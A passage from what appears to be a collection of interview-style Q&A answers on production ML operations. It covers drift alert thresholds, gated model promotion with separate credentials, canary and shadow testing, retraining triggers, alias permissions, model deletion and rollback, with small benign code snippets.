Threshold tuning. Instead of a fixed p-value, set per-feature thresholds from that feature's own historical variability: e.g., an effect size of 3 standard deviations, or a PSI above 0.2. This handles features with different scales and natural drift. It requires a stable baseline and enough history. A 3σ threshold on a normal feature gives p ≈ 0.0027, so across 200 features you expect ~0.54 false alarms per hour.

Persistence. Require the signal to hold for k consecutive windows before paging. If windows are independent, three consecutive windows at α=0.05 give 0.05^3 = 0.000125 per feature, or 200 × 0.000125 = 0.025 false alarms per hour. The cost is detection latency: you add k−1 windows before alerting. Use this when noise is bursty and you can tolerate a few hours' delay.

ApproachExpected false alarms/hour (200 features)Detection latencyWhen to use
Raw p < 0.0510nonenever for paging
Bonferroni α=0.000250.05noneany false alarm pages someone
Holm≤0.05nonesame as Bonferroni, more power
BH-FDR q=0.05controlled fraction of false discoveriesnonereview queue, screening
Per-feature 3σ~0.54nonestable baselines, different scales
Persistence 3 windows0.025 (if independent)+2 hoursbursty noise, can tolerate delay

The failure mode is alert fatigue. A drift channel that fires 240 times a day gets muted. I have seen a channel muted after a week; the muting was still in place four months later when a genuine feature outage arrived. Detection: before enabling paging, replay a period with no known incident and measure the alert rate the configuration produces. Track the alert-to-action ratio and time-to-mute. If the no-incident replay produces more than a handful of pages per day, the configuration is not ready.

A strong candidate says: at 200 tests/hour and α=0.05, you get ~10 false alarms/hour, 240/day. Do not page on raw p-values. Use Bonferroni or Holm for paging, BH-FDR for a review queue, per-feature effect-size thresholds where baselines are stable, and persistence where noise is bursty. Validate on a no-incident replay before enabling paging.

Curated: · Written: · Reviewed:

Q&A-6Your training pipeline finishes and the model is better. Should it deploy?

No, not on the training job's authority. Training produces a candidate; promotion is a separate decision with its own gates and its own credentials. If the pipeline that trains can also move the production alias, a cron schedule is authorised to change a live system, and the only thing between a bad batch of labels and production is that some aggregate metric went up.

What "better" has to mean before you answer. Better on which metric, on which slice, at which operating threshold, on data the training job could not write to. A candidate that wins on a frozen eval set, on the slices that carry the risk, at the threshold you will actually serve, is promotable. A candidate that wins on aggregate accuracy is not yet a claim about anything.

Why aggregate accuracy is the wrong gate. Take a hypothetical but representative case: 1.2M transactions a day, fraud rate 0.08%, so about 960 frauds a day. A model that always answers "not fraud" scores 99.92% accuracy. That means a +0.6-point aggregate move is inside the noise a majority-class shift can buy. If fraud recall drops from 0.74 to 0.31, missed fraud goes from ~250/day to ~662/day: 412 extra a day, roughly 3,700 over nine days of serving. The aggregate went up while the thing you built the model for got worse.

Where the gate belongs.

StepActorCredentialCan move the production alias
trainpipeline roleread data, register candidateno
evaluateeval roleread frozen eval set, write metrics and tagsno
promoterelease roleset_registered_model_aliasyes

The enforcement is IAM, not convention: the pipeline role has no permission to call the alias API. The promotion job is small and boring:

# mlflow-skinny 2.16, Python 3.11
from mlflow import MlflowClient

client = MlflowClient()

def promote(model_name: str, version: str, gates: dict[str, float]) -> None:
    mv = client.get_model_version(model_name, version)
    if mv.tags.get("eval_status") != "passed":
        raise RuntimeError(f"{model_name} v{version}: no passing eval")
    for slice_name, min_recall in gates.items():
        got = float(mv.tags[f"recall.{slice_name}"])
        if got < min_recall:
            raise RuntimeError(f"{slice_name} recall {got:.2f} < {min_recall:.2f}")
    client.set_registered_model_alias(model_name, "champion", version)

Run that under the release role. The training job can register a version; it cannot set champion.

Failure modes and how you catch them.

  • Slice regression hidden by the aggregate: gate per slice at the serving threshold, not on the mean.
  • Corrupted or delayed labels: check label freshness and the label source's distribution before training, not after.
  • Train/serve skew: shadow the candidate and compare online feature values against the logged training features for the same requests.
  • Feedback loop: the model's own decisions become tomorrow's labels; keep an untouched exploration slice.
  • Silent promotion: alert on any alias change and on the registry audit log. If nobody can say who promoted v37, the gate is decorative.

When automatic promotion is defensible. Internal, non-user-facing, cheaply reversible models: a ranking tweak behind a canary with automatic rollback on a business metric. Even then the promotion is a separate job with separate credentials. The point is not that a human clicks a button; it is that the authority to change production is not held by the job that just finished training.

What I'd verify before calling it settled. The training role cannot move the alias: try it and watch it fail. The gate reads an eval set the training job cannot write to. Rollback is one alias flip back to the previous version, and you know that version number.

Curated: · Written: · Reviewed:

Q&A-21Should a model retrain on a schedule or on a signal?

Neither alone. Use a signal as the trigger and a schedule as the bounds: retrain when a monitored metric crosses a threshold, but never more often than weekly and never less often than monthly. Which one dominates follows from two numbers you measure before choosing: how fast the model decays on settled outcomes, and what a stale model costs per day against what a retrain costs.

State the assumptions out loud, because they decide the answer: labels arrive with delay, the training pipeline is reproducible and cheap enough to run on demand, and there is a rollback path if the new model is worse.

Why signal-only fails. If labels settle 30 days out, an accuracy signal tells you about the world 30 days ago. The input distribution can move today. So the fastest actionable signal is usually feature drift, not performance, and a drift signal with no floor means a noisy week can either trigger nothing for months or trigger a retrain storm.

Why schedule-only fails. It retrains on unchanged data, which is not free and not neutral. A new seed, a re-tuned hyperparameter search, or a training set that now includes the model's own outputs can all move the model. In a recommender or a fraud model, retraining on data the model itself generated shifts the training distribution even when the world has not changed.

Measure the decay curve first. Evaluate the deployed model on each subsequent week's settled outcomes. Illustrative numbers for one model:

Weeks since trainingAUC on settled outcomesΔAUC
00.842—
40.8360.006
120.7910.051

If week-to-week AUC noise is ±0.008, the 4-week drop is inside the noise band and the 12-week drop is roughly six times it. A weekly schedule buys nothing for the first two months; a quarterly schedule is already late by week 12. Set the trigger where ΔAUC clears the noise band and the cost of the degraded model exceeds the cost of a retrain.

Cost arithmetic. If one retrain is 11 GPU-hours, daily retraining is about 330 GPU-hours a month. If the decay curve says the model stays within noise for eight weeks, you are paying for nine retrains to get the value of one.

Failure modes, and how each is detected.

  • Label delay blinds the performance signal. Monitor feature drift as a leading indicator. Population stability index above 0.25 on a top feature is a common rule of thumb to investigate; below 0.1 is usually noise.
  • Retrain storms from a noisy threshold. Set the threshold above the metric's own week-to-week standard deviation, and measure that standard deviation before picking the number.
  • Feedback loop. Compare the label distribution of each new training set against the previous one. If the positive rate moves with the model's own decisions rather than with the world, you are training on your own output.
  • Upstream feature change. Drift fires but retraining does not help. Compare feature distributions between training and serving at the same timestamp; a mismatch there is a pipeline bug, not drift.

The rule that survives review: signal triggers, schedule bounds. Retrain when PSI on any top-10 feature exceeds 0.25, or when rolling two-week AUC falls more than twice the noise band, but at minimum monthly, at most weekly, and only promote the candidate if it beats the incumbent on a held-out recent window. Cadence follows the decay curve, not the calendar.

Curated: · Written: · Reviewed:

Q&A-29Labels arrive 45 days late. How do you monitor the model today?

Assumptions I'd state first: a binary classifier scored daily, labels settle at ~45 days, and there is at least one fast downstream event (a click, a chargeback, a manual QA verdict) that correlates with the true outcome. If there is no such event, say so: it changes the answer.

The core constraint is arithmetic: with a 45-day lag, the freshest true label you hold today describes a decision made 45 days ago. A rolling 30-day "settled accuracy" is really 45–75 days stale. So the monitoring job is not to report today's accuracy, you cannot, it is to detect the conditions that precede a loss and to keep a proxy honest against truth as it arrives.

Three layers, cheapest first:

  1. Input drift. Per-feature PSI and KS against a frozen reference window (the training set, or a stable 90-day baseline). Common rule of thumb: PSI < 0.1 no shift, 0.1–0.25 investigate, > 0.25 page. KS > 0.1 on a feature is worth a look. Cheap, catches schema and upstream-pipeline breaks, but says nothing about whether the model is wrong.
  2. Prediction drift. PSI on the score distribution plus the daily positive rate. A shift in the score histogram with stable inputs usually means the population changed; a shift with stable inputs and stable scores means nothing changed.
  3. Proxy reconciled against settled truth. Track the proxy's AUC and calibration (Brier score) against labels as they land, and alert when the proxy's AUC drops more than ~0.05 below its 30-day baseline. This is the only layer that can catch concept drift before day 45.

Alternatives, and when each fails:

StrategyCostCatchesFails when
Input drift only (PSI/KS)LowPipeline breaks, covariate shiftConcept drift: inputs identical, mapping changed
Prediction driftLowPopulation shiftSame
Proxy label (downstream event)MediumConcept drift, earlyProxy–outcome correlation decays; proxy is itself biased
Unlabeled performance estimation (NannyML CBPE/DLE, importance weighting)MediumEstimated AUC/loss without labelsConfidence–correctness mapping is unstable; covariate shift only
Stratified manual labeling of a random sampleHighUnbiased truthSample too small to detect small drops; slow

CBPE and DLE estimate performance from unlabeled data by modelling the confidence–correctness relationship; they are useful but assume that relationship is stable, which is exactly what concept drift breaks. Importance weighting assumes covariate shift only. Neither replaces a random sample.

Failure modes I'd name:

  • Proxy decay. The proxy's correlation with the outcome drifts; you must re-fit the proxy–truth relationship monthly, not trust it forever.
  • Label-pipeline lag itself. Monitor label arrival rate and lag distribution. A drop in label volume is a signal: it usually means an upstream system broke, not that outcomes improved.
  • Biased early labels. Labels that settle fast are the easy cases. (Illustrative: a team reported 0.93 daily accuracy on fast-settling labels while true accuracy fell to 0.71 over three months.) Never compute accuracy on the settled subset without checking its composition against the full population.

What I'd actually alert on: PSI > 0.25 on any high-importance feature, proxy AUC drop > 0.05, label arrival rate below its 7-day floor, and a monthly reconciliation report comparing proxy-claimed performance to backfilled truth. Tools that do this out of the box: Evidently or WhyLabs for drift, NannyML for unlabeled performance estimation, SageMaker Model Monitor if you are already on AWS.

I would not call it settled until backfilled truth confirms the proxy held.

Curated: · Written: · Reviewed:

Q&A-30Feature distributions moved but accuracy is flat. Do you retrain?

No, not on drift alone. Retrain when you have outcome evidence of loss on the slice that moved, or when the "drift" is actually a data-quality break. A flat overall accuracy number is not that evidence; it is frequently what hides the loss.

Assumptions I'd state before deciding: the metric that matters here is accuracy (swap in calibration, recall@k or the tail metric if that is what the model is for); I can slice the eval set by the feature that moved; and labels lag, so I have a proxy signal for the affected slice. If I can't slice, I can't answer the question, and the first task is instrumentation, not retraining.

Why the two can coexist. A distribution can move into a region the model already handles, or move in a feature the model barely uses. And overall accuracy is a weighted average: a small segment can degrade hard while the aggregate stays inside its confidence interval. That is the case worth finding.

Worked example. A model scores 0.91 overall on a 20,000-row eval set. The feature that moved covers 3% of traffic. Its accuracy falls from 0.88 to 0.79, with the rest of the set held fixed to isolate the segment.

BeforeAfter
Drifted segment (3%, n=600)0.8800.790
Rest (97%, n=19,400)0.9110.911
Overall (n=20,000)0.9100.907

The overall move is 0.27pp. The standard error on 20,000 rows at p≈0.91 is about 0.2pp, so that is roughly 1.4σ: you would not call it. On the 600-row slice the 9pp drop is about 6.8σ. The aggregate is flat; the slice is on fire. Retraining on the aggregate number would have missed it, and retraining on the drift alarm alone would have been luck.

Decision rule I'd actually use:

SignalAction
Drift in a low-importance feature, no slice lossNo retrain. Keep the monitor, log the alarm.
Drift in a high-importance feature, slice loss confirmedRetrain, and add the drifted region to the training window.
Drift in a high-importance feature, labels lag, proxy (calibration, downstream KPI) movingRetrain or recalibrate now; confirm when labels land.
Schema, unit or encoding change, nulls spikeNot drift: a bug. Fix the pipeline, backfill, then re-evaluate.
Slice loss with no driftConcept drift. Retrain.

What I'd do this week: pull the slice, not the aggregate. If the slice is fine, the correct output is a note that says so, and a monitor that gets pruned if it never predicts loss. If the slice is not fine, retrain and hold out the drifted region to check you actually fixed it.

The failure mode to avoid is retraining on every alarm. I have watched a team do it: 31 of 34 retrains in a year came from a marketing-driven shift in the age mix that never moved error rate, and the one real concept shift was lost in the noise. Track each monitor's hit rate, alarms followed by measured loss, and delete the ones that never fire true.

Curated: · Written: · Reviewed:

Q&A-101Walk me through how you monitor production features for drift, how you tell real drift from training-serving skew, and what makes drift trigger a retrain.

Drift is a distribution change; skew is a bug. I separate them before acting on either, because retraining on a skew fixes nothing and hides the defect for another cycle.

I monitor at the feature boundary: the point where the same raw inputs feed both the training transform and the serving transform, and I log raw values, not only the transformed ones. Three signals, three latencies:

SignalCompared againstLatencyAction
Input drift, per feature (PSI/KS)frozen training referenceminutes–hoursinvestigate; alert if sustained
Prediction drift (score or rank distribution)reference windowminutespage if outside band
Outcome quality (labels or a proxy)baselinedays–weeksretrain decision
Skew checkserving feature vs offline recompute of the same raw inputper deployblock the rollout

Skew vs drift. Skew is deterministic: the serving path computes a feature differently from training. A different window, a different timezone, a null filled with 0 instead of the training median, a unit change. It appears the moment you deploy and stays constant. Drift is the world moving: gradual, concentrated in the features whose inputs changed, no code defect.

The test that separates them: take the raw inputs logged at serving, replay them through the training transform, and compare against what serving actually emitted. Equal → drift. Different → skew, and you have a bug, not a data problem. Null rate per feature is the cheapest skew detector; a fill default that silently changed shows up there first.

PSI, with bins cut at reference quantiles so each bin holds equal reference mass:

import numpy as np

def psi(reference, serving, bins=10, eps=1e-6):
    edges = np.quantile(reference, np.linspace(0, 1, bins + 1))
    edges[0], edges[-1] = -np.inf, np.inf
    e = np.histogram(reference, edges)[0] / len(reference)
    a = np.histogram(serving, edges)[0] / len(serving)
    e, a = np.clip(e, eps, None), np.clip(a, eps, None)
    return float(np.sum((a - e) * np.log(a / e)))

Conventions: PSI below 0.1 stable, 0.1–0.25 moderate, above 0.25 major. Those are conventions, not laws: PSI depends on binning, and with 10M rows a KS test flags differences nobody cares about. Use effect size, not p-values.

When drift triggers retraining. Drift alone doesn't. I retrain when three things hold: the shift is sustained (three consecutive windows, say), it is on features the model actually relies on (top of the importance ranking, not a feature it ignores), and a quality proxy moved with it. With labels 45 days late, the proxy is what I have: click-through for ranking, early delinquency for credit, downstream acceptance rate for a filter. Drift on a low-importance feature with a flat proxy gets logged and watched, not a training run.

Failure modes. A reference window frozen at training time flags seasonality as drift; compare against the same season last year or a rolling reference. Retraining on drifted data without labels closes a feedback loop: the model learns its own output. And a drift alert that fires on 200 features individually is noise; I page on a global score plus the top-importance features, and keep the per-feature view for the investigation.

Curated: · Written: · Reviewed: —

Q&A-23What does running a model in shadow actually prove?

Shadow proves two things: the candidate can serve production-shaped traffic without falling over, and where it disagrees with the incumbent on that traffic. It cannot prove the candidate is better. Its outputs never reach a user, so no outcome is observed and no counterfactual exists to compare against.

Assumptions worth stating up front: an incumbent is already serving, you can mirror live requests (or replay a logged sample), and you have a definition of disagreement that fits the output type.

What shadow actually measures

  • Serving health: p50/p99 latency, error and timeout rate, schema and contract validity, memory and CPU per request, cost per thousand requests. This is the main thing shadow is for, and it is real evidence.
  • Disagreement with the incumbent, sliced by whatever the business cares about.
  • Calibration, if labels arrive late: score the candidate against logged outcomes after the fact. That is offline evaluation wearing a shadow costume, and it is only as good as the log's coverage.

What it cannot measure

  • Uplift on any business metric. No user sees the output, so no click, conversion or retention is attributable to the candidate.
  • Feedback loops. Logged traffic is the incumbent's induced distribution. If the candidate would take actions the incumbent never took, those actions have no support in the log, a positivity violation, and any off-policy estimate built on shadow logs is biased.
  • Novel behaviour. If the candidate's action space is wider than the incumbent's, shadow never exercises the extra actions.

The failure mode to name

Promoting on the aggregate disagreement rate. Hypothetical numbers:

SliceRequestsDisagreementValue share
routine97%0.4%31%
high value3%22%69%

Request-weighted disagreement: 0.97 × 0.4% + 0.03 × 22% = 1.05%. That reads as "ship it". Value-weighted disagreement: 0.31 × 0.4% + 0.69 × 22% = 15.3%. That reads as "15% of value at risk".

Same run, two conclusions. Detection: alert on value-weighted disagreement per slice, not the global rate, and gate promotion on the high-value slice clearing its guardrails.

What produces an outcome signal instead

  • Canary: route 1–5% of live traffic to the candidate behind guardrail metrics (latency, error rate, the business metric) with automatic rollback. Smallest change that yields a real outcome.
  • A/B with holdback: the clean way to measure uplift; needs enough traffic for the metric's variance.
  • Off-policy evaluation (IPS or doubly robust): cheaper than an A/B, valid only where logged propensities and overlap exist.
  • Interleaving, for ranking: more sensitive than A/B at equal traffic.

One caveat on the latency numbers shadow gives you: if you mirror asynchronously off the critical path, you are not measuring contention with the real serving path; if you mirror synchronously, you are adding load. Compare shadow latency against canary latency to see which one you actually measured.

Shadow answers "can it run". Whether it should run is a question only live traffic can answer.

Curated: · Written: · Reviewed:

Q&A-24You run a 1 percent canary for a day and see nothing. Is the model safe?

No. A 1% canary for a day is a smoke test, not a quality test. It answers "does the model crash, time out, or emit something obviously unsafe at scale?" It does not answer "is it worse than what we already have."

That distinction is arithmetic, not opinion. Every canary has a detection floor set by how many events it collects and how noisy the metric is. Below that floor, "no signal" and "no effect" are the same observation. So before the rollout I write down the smallest effect this cohort could detect: the minimum detectable effect. If the regression I care about is smaller than that, the canary cannot clear the model no matter how long I watch the dashboard.

Take a 2% baseline conversion rate and a service doing 200,000 requests a day. A standard two-proportion power calculation at 80% power and a two-sided 5% threshold gives roughly:

CohortEventsDetectable dropActual drop
1% for 1 day2,0001.2 pts0.4 pts
10% for 5 days100,0000.2 pts0.4 pts

The first row is the trap. The canary ran, the dashboard was green, and the model shipped with a 0.4-point conversion loss: a third of what that cohort could have resolved. The second row is the same regression on the same model, caught, because the cohort was 50× larger. Nothing about the model changed between the rows; only the experiment's power did.

So "is it safe?" needs a second half: safe against what? I split the risks in two.

  • Hard failures: 5xx, timeouts, schema violations, safety-policy trips, token-cost blowups. These fire on a handful of events, so 1% for a day is genuinely enough. Watch them per request, not as an average.
  • Quality regressions: conversion, task success, thumbs-down rate, escalation rate. These need the power calculation above, and usually a wider or longer holdback than a day.

Three things I'd guard against. The first is stopping when the canary looks fine rather than when it has enough events; the MDE is a pre-registered number, not something computed after the fact. The second is dilution: a 1% slice that mixes all traffic can hide a regression concentrated in one locale, device class or customer tier, and each segment you split out is even more underpowered than the whole. The third is a metric that was never wired to the canary path; a green dashboard on something nobody is logging is not evidence.

In practice I'd state the MDE for the planned cohort and duration before starting, run the canary for the hard failures, and keep a 5-10% holdback running for the quality metrics until they clear their own MDE. If the quality question can't be answered in the time available, that's a reason to ship behind a flag with a rollback path, not a reason to call the model safe.

Curated: · Written: · Reviewed:

Q&A-28You route each request randomly between two models. What does that break?

My answer to experiment assignment for model comparison begins with the contract between training and serving.

Per-request routing is fine for technical validation and wrong for behavioural comparison, because one user sees both models and their behaviour mixes the treatments. The unit of assignment has to match the unit of the effect.

Concretely, assign stickily by the unit whose behaviour is being measured, user or session, record the assignment separately from the outcome, and exclude bots, employees, and retried requests deliberately.

The reason for that specificity is a failure I have seen: A per-request split reported a 0.2 percent difference between models; a sticky re-run of the same comparison measured 3.1 percent, because per-request mixing had diluted the effect.

Same models, two designs.

AssignmentMeasured liftUsers seeing both
per request0.2%94%
sticky by user3.1%0%

I would not consider it settled without evidence: Confirm each unit saw exactly one variant for the whole measurement window before reading the result.

Mixed exposure measures the average of both.

Curated: · Written: · Reviewed:

Q&A-32A new model version has cleared offline evaluation and the team wants it serving. What does the rollout look like before it takes all the traffic?

The judgement in progressive model rollout is which version is pinned and who approved it.

Every stage admits more traffic only after a pre-written gate passes, and that gate must cover quality on named slices as well as service health: error rate and p99 stay green while the model gets worse.

Concretely, mirror production requests to the challenger in shadow first, then ramp live traffic 1, 5, 25, 50, 100 percent, each step naming its comparison window, minimum request count, and an automated rollback trigger. Retire the champion only after a full business cycle.

The reason for that specificity is a failure I have seen: A challenger moved from 5 to 50 percent on a Thursday with gates on error rate and p99 latency only. Aggregate conversion held within 0.4 percent of the champion while the iOS slice fell 11 percent; no gate covered that slice, full traffic came on Friday, and the model served through the weekend before anyone looked at the slice on Monday.

Gate sheet for a fraud-scoring challenger (thresholds illustrative).

StageTrafficMinimum windowGate to advanceRollback trigger
shadow0% live, requests mirrored24 h, 50k or more scoredscore distribution within agreed band, zero crashesdrop the mirror; users never see it
canary1% live24 h, 5k or more requestserror rate and p99 within 10% of championerror rate above 2x champion for 5 min
ramp5 to 25 to 50%2 h per stepslice precision and recall within 3% of championany named slice drops more than 3%
full100%7 days including a weekend peakall slices holdauto-revert to previous model version

I would not consider it settled without evidence: Name the gate for the first live traffic step. The metric, the comparison window, the minimum request count, and the rollback trigger, and say which of those the platform evaluates without a human.

Write the rollback criteria before any traffic moves.

Curated: · Written: · Reviewed:

Q&A-54Who should be able to move the production alias?

Assumption: one production alias per model, one owning team, and serving reads the alias at request time.

The alias should be held by a named human release owner plus a break-glass path for the production on-call, and by no CI service principal. Training pipelines get write access to register new versions; they do not get the alias. That separation is the point: a pipeline that can promote can approve its own work.

IdentityRegister versionMove alias forwardMove alias back
Training pipeline (service principal)yesnono
Release owner (human, 2-3 people)yesyes, with approval recordyes
Production on-call SREnobreak-glass onlyyes, unilaterally
Everyone elsenonono

The asymmetry is the trade-off. Rolling back to a version that already served traffic is bounded and reversible; promoting a never-served version is not. So the on-call moves the alias backwards without a second approver, and forwards only under break-glass with post-hoc review within 24 hours.

Where lighter control suffices: if the model sits behind a canary with automated rollback on a guardrail metric, and the blast radius is a ranking reorder rather than a credit decision, automatic promotion from CI is defensible. The criteria are all three of: automated rollback that fires within one evaluation window, canary at 1-5% of traffic, and a guardrail metric with a threshold you would page on. Miss one and keep the human.

Mechanism: most registries implement alias set as last-write-wins. MLflow 2.x's set_registered_model_alias overwrites whatever was there, and OSS MLflow has no per-model RBAC: access control comes from the hosting layer (Databricks workspace and Unity Catalog grants, or a proxy in front of the tracking server). SageMaker's model registry approval status (PendingManualApproval to Approved) records a decision but does not gate deployment; the gate is the IAM policy on sagemaker:UpdateEndpoint. The approval record and the permission are two different things, and you need both.

Make the move conditional. DynamoDB conditional write, Python 3.11 / boto3:

table.update_item(
    Key={"model": "fraud-scorer"},
    UpdateExpression="SET alias_version = :new, moved_by = :who",
    ConditionExpression="alias_version = :expected",
    ExpressionAttributeValues={":new": 45, ":expected": 44, ":who": "release-owner"},
)

Trace: alias_version is 44. Pipeline A reads 44, writes 45: succeeds. Pipeline B read 44 two minutes earlier, writes 45 with :expected = 44: ConditionalCheckFailedException. B must re-read and re-decide against 45. Without the condition, B's write lands and silently reverts A.

Failure modes:

  • Service principal holds promotion rights, so the pipeline approves its own work. Detect: audit query for alias moves where the actor is the training job's principal.
  • Concurrent promotions without CAS: last write wins and the deployed version matches neither team's expectation. Detect: alert when alias_version changes twice inside one evaluation window.
  • Break-glass without review: undocumented drift. Detect: weekly report of moves with no approval record.

Verify in staging: attempt an alias move as the pipeline principal and require a permission error; fire two concurrent moves and require exactly one ConditionalCheckFailedException.

Curated: · Written: · Reviewed:

Q&A-66A model has no traffic. Can you delete it?

Yes, but not because traffic is zero. No traffic tells you the serving endpoint is idle. It says nothing about the four things that actually decide deletion: is this version a rollback target, is it under legal or contractual hold, can you reproduce it, and what does keeping it cost. Check those, then delete. If any is unresolved, deprecate and archive instead.

Why traffic is the wrong signal

Traffic counters attach to the endpoint, not the artifact. A version with zero requests can still be the documented rollback target for the current production model, pinned by a downstream team's snapshot, consumed by a nightly batch job or a monthly eval harness, referenced in a model card or audit record, or held under a litigation hold nobody told you about. Look in the registry, not the metrics dashboard.

The cost argument usually collapses

Keeping a checkpoint is cheap. A 70B-parameter model in fp16 is 70e9 × 2 bytes = 140 GB. In S3 Standard at $0.023/GB-month (us-east-1), that is roughly $3/month. A hundred such versions is about $320/month: still small next to the cost of one retrain. Storage cost is a real argument for deleting experiment runs; it is almost never the deciding factor for a promoted model version.

Options and when each is right

OptionDo it whenCost of being wrong
Hard delete nowUnpromoted run, reproducible from a pinned commit + data snapshot, no external consumer, no PII or holdRetrain from scratch; audit gap
Deprecate, announce a window, then deletePromoted version, consumers exist, rollback target superseded by a newer validated versionLow: reversible until the window closes
Archive to cold storage, keep lineageLegal hold, regulated domain, or lineage needed for auditStorage only

Deciding criteria, in order: legal hold > rollback need > reproducibility > storage cost.

When immediate deletion is correct

Two cases. First, an unpromoted run: no alias, no approval status, no downstream reference, reproducible from a pinned commit and dataset snapshot. Second, and overriding everything else, a data-erasure obligation: GDPR Article 17 or a contractual deletion clause. If the model memorised personal data, deletion is mandatory, and a legal hold on the record does not protect the weights. Erasure and retention duties can both apply at once; the usual resolution is to delete the artifact and keep the lineage metadata.

Failure modes

  • Rollback target deleted. A model fails a week later, the documented rollback version is gone, recovery is a full retrain. Detect by checking registry aliases and deployment configs: MLflow's registry stages are deprecated in favour of aliases and tags, so "which version is production" is an alias lookup, and deleting the alias target breaks the next deploy.
  • Legal hold missed. Deleting under hold is spoliation; sanctions follow. Detect by querying the legal-hold register before any bulk cleanup.
  • Lineage gap. You cannot answer "which data trained the model that made this decision." Detect by requiring the deletion job to leave a tombstone record.
  • Never deleting. Stale versions stay servable and someone eventually routes to one.

Regulated domains add a floor: the EU AI Act requires providers of high-risk systems to retain automatically generated logs for at least six months (Article 19). That is a retention duty on logs, not weights, but it is the kind of obligation that turns a cleanup job into a compliance decision.

Curated: · Written: · Reviewed:

Q&A-62A prompt template is edited in production. Is that a deployment?

Yes, if the edit changes what the system does in production, it is a deployment, and it should carry the same version identity, evaluation gate and rollback path as a code release. The caveat is that the gate should scale with blast radius, not be applied uniformly.

Here is why it qualifies. At inference the weights are fixed; the template is the only part of the program you are changing. Same input, different template, different output distribution: that is a behaviour change by definition, not a config tweak. So the release identity is the triple (model version, template version, decoding params), and all three belong in every logged call. Rollback means reverting the template hash, not the model.

Concretely, the policy I would argue for:

  • Templates live in version control and are referenced by hash, never by mutable name.
  • A template change runs the same fixed eval set you would run for a model swap before it serves traffic.
  • The template hash is logged per call, so a behaviour shift is attributable without a bisect.

When the full gate is not worth it: a comment-only or whitespace edit that leaves the rendered prompt byte-identical. Verify that by diffing the rendered string, not the source file, if the bytes match, skip the gate. Same for a template sitting behind a flag at 0% exposure; it is not in production yet. The lighter alternative for anything in between is shadow evaluation: render the new template on live traffic, score it offline, serve nothing. That catches most regressions for a fraction of the cost of a full eval run, and it is the right default for low-traffic internal tools where a two-hour gate costs more than the incident it prevents.

The trade-off is real and worth naming. A mandatory eval gate adds hours to every prompt tweak, and prompt iteration is often the fastest lever you have. The decision rule is blast radius: does the template sit on a path where a behaviour shift reaches users or money? If yes, gate it. If it is an internal summariser with twenty users, shadow-eval and ship.

The failure mode this prevents, with hypothetical figures: a support-triage template gets a one-word clarity edit. Refusal rate on 5,000 calls in the window moves from 2% to 19%: 100 refusals to 950, 850 extra escalations. At $6 per human-handled escalation that is $5,100, and because the edit was untracked the cause took nine days to find. With the template hash in the logs, the same drift shows up as a per-hash refusal-rate alert within one window.

So: log the template version on every call, alert on refusal and escalation rate per hash, and require an eval before a template change reaches production on any user-facing path. That is what makes the answer "yes" rather than "it depends".

Curated: · Written: · Reviewed:

Q&A-61Your feature depends on a hosted model you do not control. What changes?

What changes is that part of your system's contract now lives in someone else's release process. Four things move at once: behaviour, cost, capacity, and data governance.

Behaviour. An unpinned endpoint can change without a version bump, so last month's evaluation is not evidence about today. Pin the provider version where one is offered, and treat the model like any other dependency: a fixed probe set run on a schedule, alerting on output change rather than on error rate. A probe set is a few hundred labelled inputs you own, scored for agreement against a frozen baseline.

Cost. You pay per token, so a prompt that grows by 400 tokens of retrieved context multiplies across every request. Illustrative arithmetic: 200k requests/day at 1,500 input and 300 output tokens is 300M input and 60M output tokens/day; at $3 and $15 per million tokens that is $900 + $900 = $1,800/day, roughly $54k/month. A retry storm on a 429 doubles it, and nobody notices until the invoice.

Capacity. You share a token-per-minute quota with every other tenant of that provider. A burst that trips 429s needs client-side queueing and exponential backoff with jitter; immediate retries turn a throttle into an outage.

Governance. Prompts and completions leave your boundary. Retention, training-use, and regional-processing terms become part of your compliance surface, and redaction of PII has to happen before the call, not after.

Now the alternatives, because "pin and monitor" is one choice among three.

ApproachWhat you getWhat it costs you
Pin the provider versionReproducible behaviour, clean rollbackFrozen out of improvements; deprecation still forces a migration on the vendor's clock
Own abstraction layer in frontSwap providers, one eval harness, one place to redactLowest-common-denominator API; you own the mapping bugs and the translation tests
Self-host open weightsVersion and data stay under your controlGPU capex, ops, capacity planning, and usually a quality gap you have to measure

A hosted dependency is not worth it when the data cannot leave your boundary at all, when you have a hard latency budget under about 50 ms that a network hop plus inference will not meet, or when steady volume is high enough that self-hosting amortises. Below that, hosted wins on time-to-first-version.

Failure modes, and how each shows up:

  • Silent drift. The provider updates an unpinned endpoint; one category degrades while overall accuracy looks fine. Detected by the probe set, not by production error rates.
  • Quota exhaustion. 429s spike during a traffic burst. Detected by a throttle-rate alert and a queue-depth metric.
  • Cost blowup. Prompt growth or retries inflate spend. Detected by per-request token accounting, not by the monthly bill.
  • Deprecation. The pinned version is retired. Detected by watching the changelog and running a canary on the successor before the cutoff.

A probe run after a provider change looks like this: illustrative numbers:

CategoryAgreement with baseline
A99.8%
B61.2%

Category B is the signal. The overall average would have hidden it, which is why the probe set is scored per category and the alert fires on the worst one.

Curated: · Written: · Reviewed:

Q&A-25You roll the model back and the incident continues. Why?

Because the model artifact is one layer of a serving bundle, and the incident is usually caused by a different layer. Rolling back the weights alone leaves the new feature transformation, feature definitions, threshold, and runtime image live. The old model then consumes features it was never trained on, and the error rate stays high or gets worse.

Assume a real-time inference service. The serving path is: raw events -> feature computation (batch or stream) -> feature store -> online store -> model server -> post-processing (threshold) -> response. A release typically changes several of these together. If you revert only the model file, the rest of the path is still at the new version.

Mechanism: The old model expects feature vector with schema S18 and distribution D18. The live pipeline produces S19/D19. Even if the schema is compatible, distribution shift breaks the model. The feature store may have already materialized new features with a TTL, so even if you revert the feature computation code, the online store still serves new values until TTL expires. Caches (Redis, in-process) may hold new predictions. In-flight requests may still use the new model. The model registry (e.g., MLflow) may still point to v19 if rollback only replaced the file on disk but not the registry entry. The serving container may have the new code baked into the image.

Alternatives to full bundle rollback:

  • Feature-flag reversal: flip a flag to route traffic to the old model. Fast (seconds), but if the flag only selects the model, the new features are still computed and logged, and the old model may not handle them. Useful if the incident is purely model-quality and features are backward-compatible.
  • Shadow traffic: send a copy of live traffic to the old model to compare. Doesn't fix the incident; it's for diagnosis.
  • Forward-fix: if the bug is in the new feature transformation, you can fix and redeploy faster than a full rollback. Criteria: if the old bundle depends on a deprecated feature that is no longer produced, or if the old bundle has a known security vulnerability, or if the rollback would require a database migration that takes longer than the fix.
  • Full bundle rollback: restore model, feature computation, feature store schema, threshold, and runtime image as a unit. Safest when the release changed multiple layers and you don't know which one caused the incident. But it can be slow (minutes to hours) and may lose new data.

